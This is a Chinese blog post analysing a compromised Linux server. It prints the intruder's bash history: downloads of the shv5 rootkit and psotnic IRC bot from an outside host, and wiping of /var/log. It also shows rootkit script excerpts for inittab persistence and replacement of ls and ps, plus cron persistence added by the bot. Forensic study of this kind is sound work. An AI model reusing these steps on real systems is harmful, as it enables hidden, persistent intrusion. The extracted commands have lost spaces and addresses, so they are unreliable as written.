一次服务器被入侵后的分析.docx

最近有个朋友让我去帮他看一下他的Linux服务器，说是Apache启动不了，有很多诡异的情况。后来证明绝不是Apache启动不了这么简单。登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出：1. larsserver1:$ls2. ls:invalidoption-h3. Tryls-helpformoreinformation.为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了。1. larsserver1:$aliasls2. aliasls=ls-sh-color=auto3. larsserver1:$unaliasls4. larsserver1:$ls5. backup6. larsserver1:$虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题。1. larsserver1:$sudo/etc/init.d/apache2start2. Password:3. *Startingapache2.0webserver.4. (2):apache2:couldnotopenerrorlogfile/var/log/apache2/error.log.5. Unabletoopenlogs6. .fail!纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题。1. larsserver1:$sudo-i2. Password:3. rootserver1:#ls4. ls:unrecognizedprefix:do5. ls:unparsablevalueforLS_COLORSenvironmentvariable6. total447. 4.4.bashrc4.ssh8. 4.4.lesshst8.viminfo9. 8.bash_file4.vimrc很不幸的发现,”ls”又出问题了.同样,用”alias”命令：1. rootserver1:#aliasls2. aliasls=ls-sa-color=auto3. rootserver1:#unaliasls4. rootserver1:#ls5. rootserver1:#这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了。1. rootserver1:#cat-n.bash_history2. .3. 340w4. 341cd/var5. 342wget50/matys/pliki/shv5.tar.gz6. 343tar-zxfshv5.tar.gz7. 344rm-rfshv5.tar.gz8. 345mvshv5.x9. 346cd.x10. 347./setupzibi.joe.1495409811. 348passwd12. 349passwd13. 350psaux14. 351crontab-l15. 352cat/etc/issue16. 353cat/etc/passwd17. 354w18. 355who19. 356cd/usr/lib/libsh20. 357ls21. 358hide+22. 359chmod+xhide23. 360hide+24. 361./hide+25. 362cd/var/.x26. 363mkdirpsotnic27. 364cdpsotnic28. 365wget50/matys/pliki/psotnic0.2.5.tar.gz29. 366tar-zxfpsotnic0.2.5.tar.gz30. 367rm-rfpsotnic0.2.5.tar.gz31. 368ls32. 369mvpsotnic-0.2.5-linux-static-ipv6synscan33. 370./synscan34. 371viconf35. 372viconf136. 373mvsynscansmbd37. 374smbd-cconf38. 375ls39. 376psaux40. 377ls41. 378./smbd-cconf42. 379./smbd-cconf143. 380./smbdconf44. 381./smbdconf145. 382./smbd-aconfconf146. 383rm-rfconf.dec47. 384rm-rfconf1.dec48. 385cd/usr/lib/libsh49. 386./hide+50. 387exit51. .52. 425sshftp6653. 426w54. 427ls55. 428ls56. 429cd/var/.x57. 430ls58. 431cdpsotnic/59. 432ls60. 433rm-rf/var/log/*61. 434exit62. 435ls63. 436cd/var/.x/psotnic/64. 437ls65. 438viconf266. 439./smbd-cconf267. 440./smbdconf268. 441./smbd-aconfconf1conf269. 442rm-rfconf2.dec70. 443cd.71. 444ls72. 445cd/usr/lib/libsh73. 446hide+74. 447./hide+75. 448exit76. 449psaux77. 450cd/var/.x78. 451ls79. 452ls80. 453cdpsotnic/81. 454ls82. 455catpid.MastaH83. 456kill-9203084. 457./synscan-aconfconf185. 458./smbd-aconfconf186. 459cd/usr/lib/libsh87. 460./hide+这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵。通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098的作用吧。1. rootserver1:/var/.x#filesetup2. setup:Bourne-Againshellscripttextexecutable3. rootserver1:/var/.x#wc-lsetup4. 825setup5. rootserver1:/var/.x#head-17setup6. #!/bin/bash7. #8. #shv5-internal-release9. #by:PinTxApril/200310. #11. #greetzto:12. #13. #*SH-members:BeSo_M,grass,toolman,nobody,niceboy,armando9914. #C00L|0,GolDenLord,Spike,zion.15. #*Alba-Hack:2Cool,heka,TheMind,ex-THGmembers.16. #*SH-friends:mave,AlexTG,Cat|x,klex,JinkS.17. #*tC-members:eksol,termid,hex,keyhook,maher,tripodetc.18. #*Andallotherswhodiservetobeherebutiforgot19. #*thematthemoment!20. #21. #PRIVATE!DONOTDISTRIBUTE*censored*EZ!“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)1. mv$SSHDIR/sshd/sbin/ttyload2. chmoda+xr/sbin/ttyload3. chmodo-w/sbin/ttyload4. touch-acmr/bin/ls/sbin/ttyload5. chattr+isa/sbin/ttyload6. kill-9pidofttyload/dev/null2&17. .8. #INITTABSHUFFLING9. chattr-isa/etc/inittab10. cat/etc/inittab|grep-vttyload|grep-vgetty/tmp/.init111. cat/etc/inittab|grepgetty/tmp/.init212. echo#Loadingstandardttys/tmp/.init113. echo0:2345:once:/usr/sbin/ttyload/tmp/.init1它也替换了一些linux的标准命令。1. #Backdoorps/top/du/ls/netstat/etc.2. cd$BASEDIR/bin3. BACKUP=/usr/lib/libsh/.backup4. mkdir$BACKUP5. .6. #ls.7. chattr-isa/bin/ls8. cp/bin/ls$BACKUP9. mv-fls/bin/ls10. chattr+isa/bin/ls这样子就可以解释为什么”ls”命令输出那么奇怪了。“.backup”文件夹保存了被替换之前的命令程序。1. rootserver1:/var/.x#ls-l/usr/lib/libsh/.backup/2. total5523. -rwxr-xr-x1rootroot126276Dec2422:58find4. -rwxr-xr-x1rootroot59012Dec2422:58ifconfig5. -rwxr-xr-x1rootroot77832Dec2422:58ls6. -rwxr-xr-x1rootroot30388Dec2422:58md5sum7. -rwxr-xr-x1rootroot99456Dec2422:58netstat8. -rwxr-xr-x1rootroot65492Dec2422:58ps9. -rwxr-xr-x1rootroot14016Dec2422:58pstree10. -rwxr-xr-x1rootroot50180Dec2422:58top看了一下时间戳,居然是在圣诞节。很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下：1. rootserver1:#md5sum/usr/lib/libsh/.backup/ls/bin/ls2. eef7ca9dd6be1cc53bac84012f8d1675/usr/lib/libsh/.backup/ls3. 0a07cf554c1a74ad974416f60916b78d/bin/ls4. 5. rootserver1:#file/bin/ls6. /bin/ls:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),forGNU/Linux2.0.0,dynamicallylinked7. (usessharedlibs),forGNU/Linux2.0.0,stripped8. 9. rootserver1:#file/usr/lib/libsh/.backup/ls10. /usr/lib/libsh/.backup/ls:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),forGNU/Linux2.6.0,dynamicallylinked11. (usessharedlibs),forGNU/Linux2.6.0,stripped这个rootkit(“sh5.tar.gz”)是从下面的地址下载的。1. rootserver1:#dig+short-x502. 4lo.bydg.pl.这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)所以”zibi.joe.149是后门的密码,”54098是端口号.这是一个来自的就版本的sshd.测试截图如下：安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把 irc-bot重命名为”smbd”,来达到隐藏的目的。然后,他创建了两个配置文件.文件中包含irc服务器和需要加入的频道.配置文件是加密过的,而且明文的配置文件被删掉了。1. viconf2. viconf13. .4. ./smbd-cconf5. ./smbd-cconf16. ./smbdconf7. ./smbdconf18. ./smbd-aconfconf1让我们执行一下382这条命令,看看会发生什么。1. rootserver1:/var/.x/psotnic#./smbd-aconfconf12. PsotnicC+edition,version0.2.5-ipv6(Jul17200520:39:49)3. Copyright(C)2003-2005GrzegorzRusin4. +Adding:*/10*cd/var/.x/psotnic;./smbdconf/dev/null2&15. +Adding:*/10*cd/var/.x/psotnic;./smbdconf1/dev/null2&16. +Added2psotnicstocron哇!它添加了cron定时任务.赶紧看一看：1. rootserver1:/var/.x/psotnic#crontab-l2. */10*cd/var/.x/psotnic;./smbdconf/dev/null2&13. */10*cd/var/.x/psotnic;./smbdconf1/dev/null2&1接下来,我杀掉这两个恶意的smbd进程,禁用cron任务.在另一个shell中运行了tcpdump,然后手动启动了这两个irc-bot进程：1. rootserver1:#cd/var/.x/psotnic;./smbdconf2. 3. PsotnicC+edition,version0.2.5-ipv6(Jul17200520:39:49)4. Copyright(C)2003-2005GrzegorzRusin5. 6. *ActingasLEAF7. +Configloaded8. +Goingintobackgroundpid:57249. rootserver1:/var/.x/psotnic#./smbdconf110. 11. PsotnicC+edition,version0.2.5-ipv6(Jul17200520:39:49)12. Copyright(C)2003-2005GrzegorzRusin13. 14. *ActingasLEAF15. +Configloaded16. +Goingintobackgroundpid:572717. rootserver1:/var/.x/psotnic#用”ps”命令(后门替换过的)可以看到这两个进程.这也是为什么入侵者需要通过改名字来隐藏进程。1. rootserver1:/var/.x/psotnic#psaxuw|grepsmb2. root37990.00.485922156?S11:000:00/usr/sbin/smbd-D3. root38080.00.18592896?S11:000:00/usr/sbin/smbd-D4. root57240.00.11648772pts/2S12:470:00./smbdconf5. root57270.00.11640764pts/2S12:470:00./smbdconf1最开始两个是真正的samba进程,后面两个是irc-bot,让我们用”strace”命令来看看它做了什么：1. rootserver1:#strace-p57272. .3. connect(3,sa_family=AF_INET,sin_port=htons(9714),sin_addr=inet_addr(35),16)=-1EINPROGRESS(Operationnowinprogress)4. .5. connect(4,sa_family=AF_INET,sin_port=htons(6667),sin_addr=inet_addr(2),16)=-1EINPROGRESS(Operationnowinprogress)可以看到它尝试连接ip 35的9714端口和2的6667端口：1. rootserver1:#dig+short-x352. manhattan.na.pl.3. rootserver1:#dig+short-x24. ircnet.irc.powertech.no.又是一个波兰的ip.另外一个ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的别名.是挪威一个著名的irc服务器。tcpdump抓到了连接irc服务器的流量.正如下面的内容显示,它连接到了”irc.powertech.no”,加入了”#aik”频道。1. :irc.powertech.no001578PAB9NB:WelcometotheInternetRelayNetwork578PAB9NB!opti231210a080-3666.bb.online.no2. :irc.powertech.no002578PAB9NB:Yourhostisirc.powertech.no,runningversion2.11.1p13. 4. :578PAB9NB!opti231210a080-3666.bb.online.noJOIN:#aik5. :irc.powertech.no353578PAB9NB#aik:578PAB9NBkkndraiderbrandyzjpiconfxerkozIpaLvvo6. :irc.powertech.no366578PAB9NB#aik:EndofNAMESlist.7. :irc.powertech.no352578PAB9NB#aikopti231210a080-3666.bb.online.noirc.powertech.no578PAB9NBG:0op-GTW8. :irc.powertech.no352578PAB9NB#aikkkndti231210a080-3666.bb.online.noirc.hitos.nokkndH:2kknd-GTW9. :irc.powertech.no352578PAB9NB#aikraidermobitech-70.max-bc.spb.ru*.raiderG:4raider-GTW10. :irc.powertech.no352578PAB9NB#aikbrandyzmobitech-70.max-bc.spb.ru*.brandyzG:4brandyz-GTW11. :irc.powertech.no352578PAB9NB#aikjpip3124-ipad309sasajima.aichi.ocn.ne.jp*.jpjpiG:8jpi-GTW12. :irc.powertech.no352578PAB9NB#aikconfp3124-ipad309sasajima.aichi.ocn.ne.jp*.jpconfG:7conf-GTW13. :irc.powertech.no352578PAB9NB#aikxerkozp3124-ipad309sasajima.aichi.ocn.ne.jp*.jpxerkozH:7xerkoz-GTW14. :irc.powertech.no352578PAB9NB#aiklmcampus19.panorama.sth.ac.at*.atIpaLH:5.LaPi.9.IRCNet.15. :irc.powertech.no352578PAB9NB#elcom.sm*.tiscali.itvvoH:6vvo-GTW16. :irc.powertech.no315578PAB9NB#aik:EndofWHOlist.17. 18. 这些仅仅是加入#aik频道,并开始监听该频道所有成员的一些原始网络流量.我决定自己进入这个频道看看.令我惊讶的是不需要任何密码我就进来了.19. 20. 17:43-!-hasjoined#aik21. 17:43Users#aik22. 17:43578PAB9NLconfjpiraidervvo23. 17:43brandyzIpaLkkndviper42xerkoz24. 17:43-!-Irssi:#aik:Totalof10nicks0ops,0halfops,0voices,10normal25. 17:43-!-Irssi:Jointo#aikwassyncedin1secs我发现我朋友的服务器使用的昵称是”578PQB9NB”,还有一些其他的服务器也在这里.这些僵尸服务器应该是正在等待着我们的入侵者加入频道发布命令.或者他已经潜藏在这里了.我注意到,所有的昵称都有一个后缀”*-GTW”,只有一个没有：1. 17:45powertech-!-IpaLlmcampus19.panorama.sth.ac.at2. 17:45powertech-!-ircname:LaPiIRCNet3. 17:45powertech-!-channels:#relaks#ping#seks#aik#ogame.pl4. #pingwinaria#hattrick#trade#admin#!sh5. 17:45powertech-!-server:*.atoo/o/这是唯一一个加入了多个频道的昵称.我猜我已经找到这个入侵者了,除非这是一个故意迷惑的诱饵.(恩,这个入侵者真的真么笨!这么容易就找到了!?).我决定等几天看看有木有什么有趣的事情发生.这个域名解析到了：1. $dig+shortcampus19.panorama.sth.ac.at2. 4根据RIPE的数据,这个ip属于Vienna University计算机中心,我发了一封邮件询问关于这个域名的信息,他们几个小时后会我了:1. From:AlexanderTalosviaRT2. To:larstraifi.uio.no3. Subject:Crackeratcampus19.panorama.sth.ac.at(4)ACOnetCERT#386034. Date:Fri,18May200718:22:43+0200(CEST)5. Reply-To:6. 7. -BEGINPGPSIGNEDMESSAGE-8. Hash:SHA19. 10. Hej!11. 12. OnFriMay1814:45:032007,larstraifi.uio.nowrote:13. 14. Ihavebeentrackingdowncrackerwhichconnectedfrom15. campus19.panorama.sth.ac.at(4).Theuser,which16. 17. Ouch.panorama.sth.ac.atisadormitorywithabout4kroomsall18. behindaNATgateway-itwillbeveryhardtogetholdofthe19. miscreant.20. 21. Thisincidentwill,inthelongrun,definitelyhelpmegetting22. ridoftheNATboxesinsetupslikethat,butrightnow,wewill23. havetomakedowithwhatwehave.24. 25. Pleaseinvestigatethehostinquestion.Perhapsisthisa26. compromisedhostonyournetworkactingasajumpstationfor27. 28. Sure,andeveninaNATedenvironment,thisisstillpossible.29. 30. Btw,youdidagreatjobinanalysingthecompromisedmachine!31. 32. IllletyouknowwhenIhaveeitherfurtherquestionsorany33. interestingresults.34. 35. Cheers,36. 37. AlexanderTalos38. 39. -40. IT-Security,UniversitaetWien,ACOnetCERT41. 42. T:+43-1-4277-14351M:+43-664-60277-14351看起来我不够幸运。接下来我曾尝试连接irc频道里其他僵尸主机的 54098端口,可惜都失败了.看来其他的僵尸主机的后门可能使用的是别的端口。连接到”35的流量看起来很混乱.只好再次用strace命令：